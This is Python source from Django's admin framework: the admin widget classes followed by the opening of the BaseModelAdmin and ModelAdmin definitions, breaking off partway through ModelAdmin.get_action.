class ForeignKeyRawIdWidget(forms.TextInput):
    """
    A Widget for displaying ForeignKeys in the "raw_id" interface rather than
    in a <select> box.
    """
    def __init__(self, rel, admin_site, attrs=None, using=None):
        self.rel = rel
        self.admin_site = admin_site
        self.db = using
        super(ForeignKeyRawIdWidget, self).__init__(attrs)

    def render(self, name, value, attrs=None):
        rel_to = self.rel.model
        if attrs is None:
            attrs = {}
        extra = []
        if rel_to in self.admin_site._registry:
            # The related object is registered with the same AdminSite
            related_url = reverse(
                'admin:%s_%s_changelist' % (
                    rel_to._meta.app_label,
                    rel_to._meta.model_name,
                ),
                current_app=self.admin_site.name,
            )

            params = self.url_parameters()
            if params:
                url = '?' + '&amp;'.join('%s=%s' % (k, v) for k, v in params.items())
            else:
                url = ''
            if "class" not in attrs:
                attrs['class'] = 'vForeignKeyRawIdAdminField'  # The JavaScript code looks for this hook.
            # TODO: "lookup_id_" is hard-coded here. This should instead use
            # the correct API to determine the ID dynamically.
            extra.append(
                '<a href="%s%s" class="related-lookup" id="lookup_id_%s" title="%s"></a>'
                % (related_url, url, name, _('Lookup'))
            )
        output = [super(ForeignKeyRawIdWidget, self).render(name, value, attrs)] + extra
        if value:
            output.append(self.label_for_value(value))
        return mark_safe(''.join(output))

    def base_url_parameters(self):
        limit_choices_to = self.rel.limit_choices_to
        if callable(limit_choices_to):
            limit_choices_to = limit_choices_to()
        return url_params_from_lookup_dict(limit_choices_to)

    def url_parameters(self):
        from django.contrib.admin.views.main import TO_FIELD_VAR
        params = self.base_url_parameters()
        params.update({TO_FIELD_VAR: self.rel.get_related_field().name})
        return params

    def label_for_value(self, value):
        key = self.rel.get_related_field().name
        try:
            obj = self.rel.model._default_manager.using(self.db).get(**{key: value})
        except (ValueError, self.rel.model.DoesNotExist):
            return ''

        label = '&nbsp;<strong>{}</strong>'
        text = Truncator(obj).words(14, truncate='...')
        try:
            change_url = reverse(
                '%s:%s_%s_change' % (
                    self.admin_site.name,
                    obj._meta.app_label,
                    obj._meta.object_name.lower(),
                ),
                args=(obj.pk,)
            )
        except NoReverseMatch:
            pass  # Admin not registered for target model.
        else:
            text = format_html('<a href="{}">{}</a>', change_url, text)

        return format_html(label, text)


class ManyToManyRawIdWidget(ForeignKeyRawIdWidget):
    """
    A Widget for displaying ManyToMany ids in the "raw_id" interface rather than
    in a <select multiple> box.
    """
    def render(self, name, value, attrs=None):
        if attrs is None:
            attrs = {}
        if self.rel.model in self.admin_site._registry:
            # The related object is registered with the same AdminSite
            attrs['class'] = 'vManyToManyRawIdAdminField'
        if value:
            value = ','.join(force_text(v) for v in value)
        else:
            value = ''
        return super(ManyToManyRawIdWidget, self).render(name, value, attrs)

    def url_parameters(self):
        return self.base_url_parameters()

    def label_for_value(self, value):
        return ''

    def value_from_datadict(self, data, files, name):
        value = data.get(name)
        if value:
            return value.split(',')


class RelatedFieldWidgetWrapper(forms.Widget):
    """
    This class is a wrapper to a given widget to add the add icon for the
    admin interface.
    """
    template = 'admin/related_widget_wrapper.html'

    def __init__(self, widget, rel, admin_site, can_add_related=None,
                 can_change_related=False, can_delete_related=False):
        self.needs_multipart_form = widget.needs_multipart_form
        self.attrs = widget.attrs
        self.choices = widget.choices
        self.widget = widget
        self.rel = rel
        # Backwards compatible check for whether a user can add related
        # objects.
        if can_add_related is None:
            can_add_related = rel.model in admin_site._registry
        self.can_add_related = can_add_related
        # XXX: The UX does not support multiple selected values.
        multiple = getattr(widget, 'allow_multiple_selected', False)
        self.can_change_related = not multiple and can_change_related
        # XXX: The deletion UX can be confusing when dealing with cascading deletion.
        cascade = getattr(rel, 'on_delete', None) is CASCADE
        self.can_delete_related = not multiple and not cascade and can_delete_related
        # so we can check if the related object is registered with this AdminSite
        self.admin_site = admin_site

    def __deepcopy__(self, memo):
        obj = copy.copy(self)
        obj.widget = copy.deepcopy(self.widget, memo)
        obj.attrs = self.widget.attrs
        memo[id(self)] = obj
        return obj

    @property
    def is_hidden(self):
        return self.widget.is_hidden

    @property
    def media(self):
        return self.widget.media

    def get_related_url(self, info, action, *args):
        return reverse("admin:%s_%s_%s" % (info + (action,)),
                       current_app=self.admin_site.name, args=args)

    def render(self, name, value, *args, **kwargs):
        from django.contrib.admin.views.main import IS_POPUP_VAR, TO_FIELD_VAR
        rel_opts = self.rel.model._meta
        info = (rel_opts.app_label, rel_opts.model_name)
        self.widget.choices = self.choices
        url_params = '&'.join("%s=%s" % param for param in [
            (TO_FIELD_VAR, self.rel.get_related_field().name),
            (IS_POPUP_VAR, 1),
        ])
        context = {
            'widget': self.widget.render(name, value, *args, **kwargs),
            'name': name,
            'url_params': url_params,
            'model': rel_opts.verbose_name,
        }
        if self.can_change_related:
            change_related_template_url = self.get_related_url(info, 'change', '__fk__')
            context.update(
                can_change_related=True,
                change_related_template_url=change_related_template_url,
            )
        if self.can_add_related:
            add_related_url = self.get_related_url(info, 'add')
            context.update(
                can_add_related=True,
                add_related_url=add_related_url,
            )
        if self.can_delete_related:
            delete_related_template_url = self.get_related_url(info, 'delete', '__fk__')
            context.update(
                can_delete_related=True,
                delete_related_template_url=delete_related_template_url,
            )
        return mark_safe(render_to_string(self.template, context))

    def build_attrs(self, extra_attrs=None, **kwargs):
        "Helper function for building an attribute dictionary."
        self.attrs = self.widget.build_attrs(extra_attrs=None, **kwargs)
        return self.attrs

    def value_from_datadict(self, data, files, name):
        return self.widget.value_from_datadict(data, files, name)

    def id_for_label(self, id_):
        return self.widget.id_for_label(id_)


class AdminTextareaWidget(forms.Textarea):
    def __init__(self, attrs=None):
        final_attrs = {'class': 'vLargeTextField'}
        if attrs is not None:
            final_attrs.update(attrs)
        super(AdminTextareaWidget, self).__init__(attrs=final_attrs)


class AdminTextInputWidget(forms.TextInput):
    def __init__(self, attrs=None):
        final_attrs = {'class': 'vTextField'}
        if attrs is not None:
            final_attrs.update(attrs)
        super(AdminTextInputWidget, self).__init__(attrs=final_attrs)


class AdminEmailInputWidget(forms.EmailInput):
    def __init__(self, attrs=None):
        final_attrs = {'class': 'vTextField'}
        if attrs is not None:
            final_attrs.update(attrs)
        super(AdminEmailInputWidget, self).__init__(attrs=final_attrs)


class AdminURLFieldWidget(forms.URLInput):
    def __init__(self, attrs=None):
        final_attrs = {'class': 'vURLField'}
        if attrs is not None:
            final_attrs.update(attrs)
        super(AdminURLFieldWidget, self).__init__(attrs=final_attrs)

    def render(self, name, value, attrs=None):
        html = super(AdminURLFieldWidget, self).render(name, value, attrs)
        if value:
            value = force_text(self.format_value(value))
            final_attrs = {'href': smart_urlquote(value)}
            html = format_html(
                '<p class="url">{} <a{}>{}</a><br />{} {}</p>',
                _('Currently:'), flatatt(final_attrs), value,
                _('Change:'), html
            )
        return html


class AdminIntegerFieldWidget(forms.TextInput):
    class_name = 'vIntegerField'

    def __init__(self, attrs=None):
        final_attrs = {'class': self.class_name}
        if attrs is not None:
            final_attrs.update(attrs)
        super(AdminIntegerFieldWidget, self).__init__(attrs=final_attrs)


class AdminBigIntegerFieldWidget(AdminIntegerFieldWidget):
    class_name = 'vBigIntegerField'






from __future__ import unicode_literals

import copy
import json
import operator
from collections import OrderedDict
from functools import partial, reduce, update_wrapper

from django import forms
from django.conf import settings
from django.contrib import messages
from django.contrib.admin import helpers, widgets
from django.contrib.admin.checks import (
    BaseModelAdminChecks, InlineModelAdminChecks, ModelAdminChecks,
)
from django.contrib.admin.exceptions import DisallowedModelAdminToField
from django.contrib.admin.templatetags.admin_urls import add_preserved_filters
from django.contrib.admin.utils import (
    NestedObjects, flatten_fieldsets, get_deleted_objects,
    lookup_needs_distinct, model_format_dict, quote, unquote,
)
from django.contrib.auth import get_permission_codename
from django.core.exceptions import (
    FieldDoesNotExist, FieldError, PermissionDenied, ValidationError,
)
from django.core.paginator import Paginator
from django.db import models, router, transaction
from django.db.models.constants import LOOKUP_SEP
from django.db.models.fields import BLANK_CHOICE_DASH
from django.forms.formsets import DELETION_FIELD_NAME, all_valid
from django.forms.models import (
    BaseInlineFormSet, inlineformset_factory, modelform_defines_fields,
    modelform_factory, modelformset_factory,
)
from django.forms.widgets import CheckboxSelectMultiple, SelectMultiple
from django.http import Http404, HttpResponseRedirect
from django.http.response import HttpResponseBase
from django.template.response import SimpleTemplateResponse, TemplateResponse
from django.urls import reverse
from django.utils import six
from django.utils.decorators import method_decorator
from django.utils.encoding import force_text, python_2_unicode_compatible
from django.utils.html import escape, format_html
from django.utils.http import urlencode, urlquote
from django.utils.safestring import mark_safe
from django.utils.text import capfirst, get_text_list
from django.utils.translation import (
    override as translation_override, string_concat, ugettext as _, ungettext,
)
from django.views.decorators.csrf import csrf_protect
from django.views.generic import RedirectView

IS_POPUP_VAR = '_popup'
TO_FIELD_VAR = '_to_field'


HORIZONTAL, VERTICAL = 1, 2


def get_content_type_for_model(obj):
    # Since this module gets imported in the application's root package,
    # it cannot import models from other applications at the module level.
    from django.contrib.contenttypes.models import ContentType
    return ContentType.objects.get_for_model(obj, for_concrete_model=False)


def get_ul_class(radio_style):
    return 'radiolist' if radio_style == VERTICAL else 'radiolist inline'


class IncorrectLookupParameters(Exception):
    pass

# Defaults for formfield_overrides. ModelAdmin subclasses can change this
# by adding to ModelAdmin.formfield_overrides.

FORMFIELD_FOR_DBFIELD_DEFAULTS = {
    models.DateTimeField: {
        'form_class': forms.SplitDateTimeField,
        'widget': widgets.AdminSplitDateTime
    },
    models.DateField: {'widget': widgets.AdminDateWidget},
    models.TimeField: {'widget': widgets.AdminTimeWidget},
    models.TextField: {'widget': widgets.AdminTextareaWidget},
    models.URLField: {'widget': widgets.AdminURLFieldWidget},
    models.IntegerField: {'widget': widgets.AdminIntegerFieldWidget},
    models.BigIntegerField: {'widget': widgets.AdminBigIntegerFieldWidget},
    models.CharField: {'widget': widgets.AdminTextInputWidget},
    models.ImageField: {'widget': widgets.AdminFileWidget},
    models.FileField: {'widget': widgets.AdminFileWidget},
    models.EmailField: {'widget': widgets.AdminEmailInputWidget},
}

csrf_protect_m = method_decorator(csrf_protect)


class BaseModelAdmin(six.with_metaclass(forms.MediaDefiningClass)):
    """Functionality common to both ModelAdmin and InlineAdmin."""

    raw_id_fields = ()
    fields = None
    exclude = None
    fieldsets = None
    form = forms.ModelForm
    filter_vertical = ()
    filter_horizontal = ()
    radio_fields = {}
    prepopulated_fields = {}
    formfield_overrides = {}
    readonly_fields = ()
    ordering = None
    view_on_site = True
    show_full_result_count = True
    checks_class = BaseModelAdminChecks

    def check(self, **kwargs):
        return self.checks_class().check(self, **kwargs)

    def __init__(self):
        # Merge FORMFIELD_FOR_DBFIELD_DEFAULTS with the formfield_overrides
        # rather than simply overwriting.
        overrides = copy.deepcopy(FORMFIELD_FOR_DBFIELD_DEFAULTS)
        for k, v in self.formfield_overrides.items():
            overrides.setdefault(k, {}).update(v)
        self.formfield_overrides = overrides

    def formfield_for_dbfield(self, db_field, request, **kwargs):
        """
        Hook for specifying the form Field instance for a given database Field
        instance.

        If kwargs are given, they're passed to the form Field's constructor.
        """
        # If the field specifies choices, we don't need to look for special
        # admin widgets - we just need to use a select widget of some kind.
        if db_field.choices:
            return self.formfield_for_choice_field(db_field, request, **kwargs)

        # ForeignKey or ManyToManyFields
        if isinstance(db_field, models.ManyToManyField) or isinstance(db_field, models.ForeignKey):
            # Combine the field kwargs with any options for formfield_overrides.
            # Make sure the passed in **kwargs override anything in
            # formfield_overrides because **kwargs is more specific, and should
            # always win.
            if db_field.__class__ in self.formfield_overrides:
                kwargs = dict(self.formfield_overrides[db_field.__class__], **kwargs)

            # Get the correct formfield.
            if isinstance(db_field, models.ForeignKey):
                formfield = self.formfield_for_foreignkey(db_field, request, **kwargs)
            elif isinstance(db_field, models.ManyToManyField):
                formfield = self.formfield_for_manytomany(db_field, request, **kwargs)

            # For non-raw_id fields, wrap the widget with a wrapper that adds
            # extra HTML -- the "add other" interface -- to the end of the
            # rendered output. formfield can be None if it came from a
            # OneToOneField with parent_link=True or a M2M intermediary.
            if formfield and db_field.name not in self.raw_id_fields:
                related_modeladmin = self.admin_site._registry.get(db_field.remote_field.model)
                wrapper_kwargs = {}
                if related_modeladmin:
                    wrapper_kwargs.update(
                        can_add_related=related_modeladmin.has_add_permission(request),
                        can_change_related=related_modeladmin.has_change_permission(request),
                        can_delete_related=related_modeladmin.has_delete_permission(request),
                    )
                formfield.widget = widgets.RelatedFieldWidgetWrapper(
                    formfield.widget, db_field.remote_field, self.admin_site, **wrapper_kwargs
                )

            return formfield

        # If we've got overrides for the formfield defined, use 'em. **kwargs
        # passed to formfield_for_dbfield override the defaults.
        for klass in db_field.__class__.mro():
            if klass in self.formfield_overrides:
                kwargs = dict(copy.deepcopy(self.formfield_overrides[klass]), **kwargs)
                return db_field.formfield(**kwargs)

        # For any other type of field, just call its formfield() method.
        return db_field.formfield(**kwargs)

    def formfield_for_choice_field(self, db_field, request, **kwargs):
        """
        Get a form Field for a database Field that has declared choices.
        """
        # If the field is named as a radio_field, use a RadioSelect
        if db_field.name in self.radio_fields:
            # Avoid stomping on custom widget/choices arguments.
            if 'widget' not in kwargs:
                kwargs['widget'] = widgets.AdminRadioSelect(attrs={
                    'class': get_ul_class(self.radio_fields[db_field.name]),
                })
            if 'choices' not in kwargs:
                kwargs['choices'] = db_field.get_choices(
                    include_blank=db_field.blank,
                    blank_choice=[('', _('None'))]
                )
        return db_field.formfield(**kwargs)

    def get_field_queryset(self, db, db_field, request):
        """
        If the ModelAdmin specifies ordering, the queryset should respect that
        ordering.  Otherwise don't specify the queryset, let the field decide
        (returns None in that case).
        """
        related_admin = self.admin_site._registry.get(db_field.remote_field.model)
        if related_admin is not None:
            ordering = related_admin.get_ordering(request)
            if ordering is not None and ordering != ():
                return db_field.remote_field.model._default_manager.using(db).order_by(*ordering)
        return None

    def formfield_for_foreignkey(self, db_field, request, **kwargs):
        """
        Get a form Field for a ForeignKey.
        """
        db = kwargs.get('using')
        if db_field.name in self.raw_id_fields:
            kwargs['widget'] = widgets.ForeignKeyRawIdWidget(db_field.remote_field, self.admin_site, using=db)
        elif db_field.name in self.radio_fields:
            kwargs['widget'] = widgets.AdminRadioSelect(attrs={
                'class': get_ul_class(self.radio_fields[db_field.name]),
            })
            kwargs['empty_label'] = _('None') if db_field.blank else None

        if 'queryset' not in kwargs:
            queryset = self.get_field_queryset(db, db_field, request)
            if queryset is not None:
                kwargs['queryset'] = queryset

        return db_field.formfield(**kwargs)

    def formfield_for_manytomany(self, db_field, request, **kwargs):
        """
        Get a form Field for a ManyToManyField.
        """
        # If it uses an intermediary model that isn't auto created, don't show
        # a field in admin.
        if not db_field.remote_field.through._meta.auto_created:
            return None
        db = kwargs.get('using')

        if db_field.name in self.raw_id_fields:
            kwargs['widget'] = widgets.ManyToManyRawIdWidget(db_field.remote_field, self.admin_site, using=db)
        elif db_field.name in (list(self.filter_vertical) + list(self.filter_horizontal)):
            kwargs['widget'] = widgets.FilteredSelectMultiple(
                db_field.verbose_name,
                db_field.name in self.filter_vertical
            )

        if 'queryset' not in kwargs:
            queryset = self.get_field_queryset(db, db_field, request)
            if queryset is not None:
                kwargs['queryset'] = queryset

        form_field = db_field.formfield(**kwargs)
        if isinstance(form_field.widget, SelectMultiple) and not isinstance(form_field.widget, CheckboxSelectMultiple):
            msg = _('Hold down "Control", or "Command" on a Mac, to select more than one.')
            help_text = form_field.help_text
            form_field.help_text = string_concat(help_text, ' ', msg) if help_text else msg
        return form_field

    def get_view_on_site_url(self, obj=None):
        if obj is None or not self.view_on_site:
            return None

        if callable(self.view_on_site):
            return self.view_on_site(obj)
        elif self.view_on_site and hasattr(obj, 'get_absolute_url'):
            # use the ContentType lookup if view_on_site is True
            return reverse('admin:view_on_site', kwargs={
                'content_type_id': get_content_type_for_model(obj).pk,
                'object_id': obj.pk
            })

    def get_empty_value_display(self):
        """
        Return the empty_value_display set on ModelAdmin or AdminSite.
        """
        try:
            return mark_safe(self.empty_value_display)
        except AttributeError:
            return mark_safe(self.admin_site.empty_value_display)

    def get_fields(self, request, obj=None):
        """
        Hook for specifying fields.
        """
        return self.fields

    def get_fieldsets(self, request, obj=None):
        """
        Hook for specifying fieldsets.
        """
        if self.fieldsets:
            return self.fieldsets
        return [(None, {'fields': self.get_fields(request, obj)})]

    def get_ordering(self, request):
        """
        Hook for specifying field ordering.
        """
        return self.ordering or ()  # otherwise we might try to *None, which is bad ;)

    def get_readonly_fields(self, request, obj=None):
        """
        Hook for specifying custom readonly fields.
        """
        return self.readonly_fields

    def get_prepopulated_fields(self, request, obj=None):
        """
        Hook for specifying custom prepopulated fields.
        """
        return self.prepopulated_fields

    def get_queryset(self, request):
        """
        Returns a QuerySet of all model instances that can be edited by the
        admin site. This is used by changelist_view.
        """
        qs = self.model._default_manager.get_queryset()
        # TODO: this should be handled by some parameter to the ChangeList.
        ordering = self.get_ordering(request)
        if ordering:
            qs = qs.order_by(*ordering)
        return qs

    def lookup_allowed(self, lookup, value):
        from django.contrib.admin.filters import SimpleListFilter

        model = self.model
        # Check FKey lookups that are allowed, so that popups produced by
        # ForeignKeyRawIdWidget, on the basis of ForeignKey.limit_choices_to,
        # are allowed to work.
        for l in model._meta.related_fkey_lookups:
            # As ``limit_choices_to`` can be a callable, invoke it here.
            if callable(l):
                l = l()
            for k, v in widgets.url_params_from_lookup_dict(l).items():
                if k == lookup and v == value:
                    return True

        relation_parts = []
        prev_field = None
        for part in lookup.split(LOOKUP_SEP):
            try:
                field = model._meta.get_field(part)
            except FieldDoesNotExist:
                # Lookups on non-existent fields are ok, since they're ignored
                # later.
                break
            # It is allowed to filter on values that would be found from local
            # model anyways. For example, if you filter on employee__department__id,
            # then the id value would be found already from employee__department_id.
            if not prev_field or (prev_field.concrete and
                                  field not in prev_field.get_path_info()[-1].target_fields):
                relation_parts.append(part)
            if not getattr(field, 'get_path_info', None):
                # This is not a relational field, so further parts
                # must be transforms.
                break
            prev_field = field
            model = field.get_path_info()[-1].to_opts.model

        if len(relation_parts) <= 1:
            # Either a local field filter, or no fields at all.
            return True
        clean_lookup = LOOKUP_SEP.join(relation_parts)
        valid_lookups = [self.date_hierarchy]
        for filter_item in self.list_filter:
            if isinstance(filter_item, type) and issubclass(filter_item, SimpleListFilter):
                valid_lookups.append(filter_item.parameter_name)
            elif isinstance(filter_item, (list, tuple)):
                valid_lookups.append(filter_item[0])
            else:
                valid_lookups.append(filter_item)
        return clean_lookup in valid_lookups

    def to_field_allowed(self, request, to_field):
        """
        Returns True if the model associated with this admin should be
        allowed to be referenced by the specified field.
        """
        opts = self.model._meta

        try:
            field = opts.get_field(to_field)
        except FieldDoesNotExist:
            return False

        # Always allow referencing the primary key since it's already possible
        # to get this information from the change view URL.
        if field.primary_key:
            return True

        # Allow reverse relationships to models defining m2m fields if they
        # target the specified field.
        for many_to_many in opts.many_to_many:
            if many_to_many.m2m_target_field_name() == to_field:
                return True

        # Make sure at least one of the models registered for this site
        # references this field through a FK or a M2M relationship.
        registered_models = set()
        for model, admin in self.admin_site._registry.items():
            registered_models.add(model)
            for inline in admin.inlines:
                registered_models.add(inline.model)

        related_objects = (
            f for f in opts.get_fields(include_hidden=True)
            if (f.auto_created and not f.concrete)
        )
        for related_object in related_objects:
            related_model = related_object.related_model
            remote_field = related_object.field.remote_field
            if (any(issubclass(model, related_model) for model in registered_models) and
                    hasattr(remote_field, 'get_related_field') and
                    remote_field.get_related_field() == field):
                return True

        return False

    def has_add_permission(self, request):
        """
        Returns True if the given request has permission to add an object.
        Can be overridden by the user in subclasses.
        """
        opts = self.opts
        codename = get_permission_codename('add', opts)
        return request.user.has_perm("%s.%s" % (opts.app_label, codename))

    def has_change_permission(self, request, obj=None):
        """
        Returns True if the given request has permission to change the given
        Django model instance, the default implementation doesn't examine the
        `obj` parameter.

        Can be overridden by the user in subclasses. In such case it should
        return True if the given request has permission to change the `obj`
        model instance. If `obj` is None, this should return True if the given
        request has permission to change *any* object of the given type.
        """
        opts = self.opts
        codename = get_permission_codename('change', opts)
        return request.user.has_perm("%s.%s" % (opts.app_label, codename))

    def has_delete_permission(self, request, obj=None):
        """
        Returns True if the given request has permission to change the given
        Django model instance, the default implementation doesn't examine the
        `obj` parameter.

        Can be overridden by the user in subclasses. In such case it should
        return True if the given request has permission to delete the `obj`
        model instance. If `obj` is None, this should return True if the given
        request has permission to delete *any* object of the given type.
        """
        opts = self.opts
        codename = get_permission_codename('delete', opts)
        return request.user.has_perm("%s.%s" % (opts.app_label, codename))

    def has_module_permission(self, request):
        """
        Returns True if the given request has any permission in the given
        app label.

        Can be overridden by the user in subclasses. In such case it should
        return True if the given request has permission to view the module on
        the admin index page and access the module's index page. Overriding it
        does not restrict access to the add, change or delete views. Use
        `ModelAdmin.has_(add|change|delete)_permission` for that.
        """
        return request.user.has_module_perms(self.opts.app_label)


@python_2_unicode_compatible
class ModelAdmin(BaseModelAdmin):
    "Encapsulates all admin options and functionality for a given model."

    list_display = ('__str__',)
    list_display_links = ()
    list_filter = ()
    list_select_related = False
    list_per_page = 100
    list_max_show_all = 200
    list_editable = ()
    search_fields = ()
    date_hierarchy = None
    save_as = False
    save_as_continue = True
    save_on_top = False
    paginator = Paginator
    preserve_filters = True
    inlines = []

    # Custom templates (designed to be over-ridden in subclasses)
    add_form_template = None
    change_form_template = None
    change_list_template = None
    delete_confirmation_template = None
    delete_selected_confirmation_template = None
    object_history_template = None

    # Actions
    actions = []
    action_form = helpers.ActionForm
    actions_on_top = True
    actions_on_bottom = False
    actions_selection_counter = True
    checks_class = ModelAdminChecks

    def __init__(self, model, admin_site):
        self.model = model
        self.opts = model._meta
        self.admin_site = admin_site
        super(ModelAdmin, self).__init__()

    def __str__(self):
        return "%s.%s" % (self.model._meta.app_label, self.__class__.__name__)

    def get_inline_instances(self, request, obj=None):
        inline_instances = []
        for inline_class in self.inlines:
            inline = inline_class(self.model, self.admin_site)
            if request:
                if not (inline.has_add_permission(request) or
                        inline.has_change_permission(request, obj) or
                        inline.has_delete_permission(request, obj)):
                    continue
                if not inline.has_add_permission(request):
                    inline.max_num = 0
            inline_instances.append(inline)

        return inline_instances

    def get_urls(self):
        from django.conf.urls import url

        def wrap(view):
            def wrapper(*args, **kwargs):
                return self.admin_site.admin_view(view)(*args, **kwargs)
            wrapper.model_admin = self
            return update_wrapper(wrapper, view)

        info = self.model._meta.app_label, self.model._meta.model_name

        urlpatterns = [
            url(r'^$', wrap(self.changelist_view), name='%s_%s_changelist' % info),
            url(r'^add/$', wrap(self.add_view), name='%s_%s_add' % info),
            url(r'^(.+)/history/$', wrap(self.history_view), name='%s_%s_history' % info),
            url(r'^(.+)/delete/$', wrap(self.delete_view), name='%s_%s_delete' % info),
            url(r'^(.+)/change/$', wrap(self.change_view), name='%s_%s_change' % info),
            # For backwards compatibility (was the change url before 1.9)
            url(r'^(.+)/$', wrap(RedirectView.as_view(
                pattern_name='%s:%s_%s_change' % ((self.admin_site.name,) + info)
            ))),
        ]
        return urlpatterns

    def urls(self):
        return self.get_urls()
    urls = property(urls)

    @property
    def media(self):
        extra = '' if settings.DEBUG else '.min'
        js = [
            'core.js',
            'vendor/jquery/jquery%s.js' % extra,
            'jquery.init.js',
            'admin/RelatedObjectLookups.js',
            'actions%s.js' % extra,
            'urlify.js',
            'prepopulate%s.js' % extra,
            'vendor/xregexp/xregexp%s.js' % extra,
        ]
        return forms.Media(js=['admin/js/%s' % url for url in js])

    def get_model_perms(self, request):
        """
        Returns a dict of all perms for this model. This dict has the keys
        ``add``, ``change``, and ``delete`` mapping to the True/False for each
        of those actions.
        """
        return {
            'add': self.has_add_permission(request),
            'change': self.has_change_permission(request),
            'delete': self.has_delete_permission(request),
        }

    def get_fields(self, request, obj=None):
        if self.fields:
            return self.fields
        form = self.get_form(request, obj, fields=None)
        return list(form.base_fields) + list(self.get_readonly_fields(request, obj))

    def get_form(self, request, obj=None, **kwargs):
        """
        Returns a Form class for use in the admin add view. This is used by
        add_view and change_view.
        """
        if 'fields' in kwargs:
            fields = kwargs.pop('fields')
        else:
            fields = flatten_fieldsets(self.get_fieldsets(request, obj))
        if self.exclude is None:
            exclude = []
        else:
            exclude = list(self.exclude)
        readonly_fields = self.get_readonly_fields(request, obj)
        exclude.extend(readonly_fields)
        if self.exclude is None and hasattr(self.form, '_meta') and self.form._meta.exclude:
            # Take the custom ModelForm's Meta.exclude into account only if the
            # ModelAdmin doesn't define its own.
            exclude.extend(self.form._meta.exclude)
        # if exclude is an empty list we pass None to be consistent with the
        # default on modelform_factory
        exclude = exclude or None

        # Remove declared form fields which are in readonly_fields.
        new_attrs = OrderedDict(
            (f, None) for f in readonly_fields
            if f in self.form.declared_fields
        )
        form = type(self.form.__name__, (self.form,), new_attrs)

        defaults = {
            "form": form,
            "fields": fields,
            "exclude": exclude,
            "formfield_callback": partial(self.formfield_for_dbfield, request=request),
        }
        defaults.update(kwargs)

        if defaults['fields'] is None and not modelform_defines_fields(defaults['form']):
            defaults['fields'] = forms.ALL_FIELDS

        try:
            return modelform_factory(self.model, **defaults)
        except FieldError as e:
            raise FieldError(
                '%s. Check fields/fieldsets/exclude attributes of class %s.'
                % (e, self.__class__.__name__)
            )

    def get_changelist(self, request, **kwargs):
        """
        Returns the ChangeList class for use on the changelist page.
        """
        from django.contrib.admin.views.main import ChangeList
        return ChangeList

    def get_object(self, request, object_id, from_field=None):
        """
        Returns an instance matching the field and value provided, the primary
        key is used if no field is provided. Returns ``None`` if no match is
        found or the object_id fails validation.
        """
        queryset = self.get_queryset(request)
        model = queryset.model
        field = model._meta.pk if from_field is None else model._meta.get_field(from_field)
        try:
            object_id = field.to_python(object_id)
            return queryset.get(**{field.name: object_id})
        except (model.DoesNotExist, ValidationError, ValueError):
            return None

    def get_changelist_form(self, request, **kwargs):
        """
        Returns a Form class for use in the Formset on the changelist page.
        """
        defaults = {
            "formfield_callback": partial(self.formfield_for_dbfield, request=request),
        }
        defaults.update(kwargs)
        if defaults.get('fields') is None and not modelform_defines_fields(defaults.get('form')):
            defaults['fields'] = forms.ALL_FIELDS

        return modelform_factory(self.model, **defaults)

    def get_changelist_formset(self, request, **kwargs):
        """
        Returns a FormSet class for use on the changelist page if list_editable
        is used.
        """
        defaults = {
            "formfield_callback": partial(self.formfield_for_dbfield, request=request),
        }
        defaults.update(kwargs)
        return modelformset_factory(
            self.model, self.get_changelist_form(request), extra=0,
            fields=self.list_editable, **defaults
        )

    def get_formsets_with_inlines(self, request, obj=None):
        """
        Yields formsets and the corresponding inlines.
        """
        for inline in self.get_inline_instances(request, obj):
            yield inline.get_formset(request, obj), inline

    def get_paginator(self, request, queryset, per_page, orphans=0, allow_empty_first_page=True):
        return self.paginator(queryset, per_page, orphans, allow_empty_first_page)

    def log_addition(self, request, object, message):
        """
        Log that an object has been successfully added.

        The default implementation creates an admin LogEntry object.
        """
        from django.contrib.admin.models import LogEntry, ADDITION
        LogEntry.objects.log_action(
            user_id=request.user.pk,
            content_type_id=get_content_type_for_model(object).pk,
            object_id=object.pk,
            object_repr=force_text(object),
            action_flag=ADDITION,
            change_message=message,
        )

    def log_change(self, request, object, message):
        """
        Log that an object has been successfully changed.

        The default implementation creates an admin LogEntry object.
        """
        from django.contrib.admin.models import LogEntry, CHANGE
        LogEntry.objects.log_action(
            user_id=request.user.pk,
            content_type_id=get_content_type_for_model(object).pk,
            object_id=object.pk,
            object_repr=force_text(object),
            action_flag=CHANGE,
            change_message=message,
        )

    def log_deletion(self, request, object, object_repr):
        """
        Log that an object will be deleted. Note that this method must be
        called before the deletion.

        The default implementation creates an admin LogEntry object.
        """
        from django.contrib.admin.models import LogEntry, DELETION
        LogEntry.objects.log_action(
            user_id=request.user.pk,
            content_type_id=get_content_type_for_model(object).pk,
            object_id=object.pk,
            object_repr=object_repr,
            action_flag=DELETION,
        )

    def action_checkbox(self, obj):
        """
        A list_display column containing a checkbox widget.
        """
        return helpers.checkbox.render(helpers.ACTION_CHECKBOX_NAME, force_text(obj.pk))
    action_checkbox.short_description = mark_safe('<input type="checkbox" id="action-toggle" />')

    def get_actions(self, request):
        """
        Return a dictionary mapping the names of all actions for this
        ModelAdmin to a tuple of (callable, name, description) for each action.
        """
        # If self.actions is explicitly set to None that means that we don't
        # want *any* actions enabled on this page.
        if self.actions is None or IS_POPUP_VAR in request.GET:
            return OrderedDict()

        actions = []

        # Gather actions from the admin site first
        for (name, func) in self.admin_site.actions:
            description = getattr(func, 'short_description', name.replace('_', ' '))
            actions.append((func, name, description))

        # Then gather them from the model admin and all parent classes,
        # starting with self and working back up.
        for klass in self.__class__.mro()[::-1]:
            class_actions = getattr(klass, 'actions', [])
            # Avoid trying to iterate over None
            if not class_actions:
                continue
            actions.extend(self.get_action(action) for action in class_actions)

        # get_action might have returned None, so filter any of those out.
        actions = filter(None, actions)

        # Convert the actions into an OrderedDict keyed by name.
        actions = OrderedDict(
            (name, (func, name, desc))
            for func, name, desc in actions
        )

        return actions

    def get_action_choices(self, request, default_choices=BLANK_CHOICE_DASH):
        """
        Return a list of choices for use in a form object.  Each choice is a
        tuple (name, description).
        """
        choices = [] + default_choices
        for func, name, description in six.itervalues(self.get_actions(request)):
            choice = (name, description % model_format_dict(self.opts))
            choices.append(choice)
        return choices

    def get_action(self, action):
        """
        Return a given action from a parameter, which can either be a callable,
        or the name of a method on the ModelAdmin.  Return is a tuple of
        (callable, name, description).
        """
        # If the action is a callable, just use it.
        if callable(action):
            func = action
            action = action.__name__

        # Next, look for a method. Grab it off self.__class__ to get an unbound
        # method instead of a bound one; this ensures that the calling
        # conventions are the same for functions and methods.
        elif hasattr(self.__class__, action):
            func = getattr(self.__class__, action)

        # Finally, look for a named method on the admin site
        else:
            try:
                func = self.admin_site.get_action(action)
            except KeyError:
                return None

        if hasattr(func, 'short_description'):
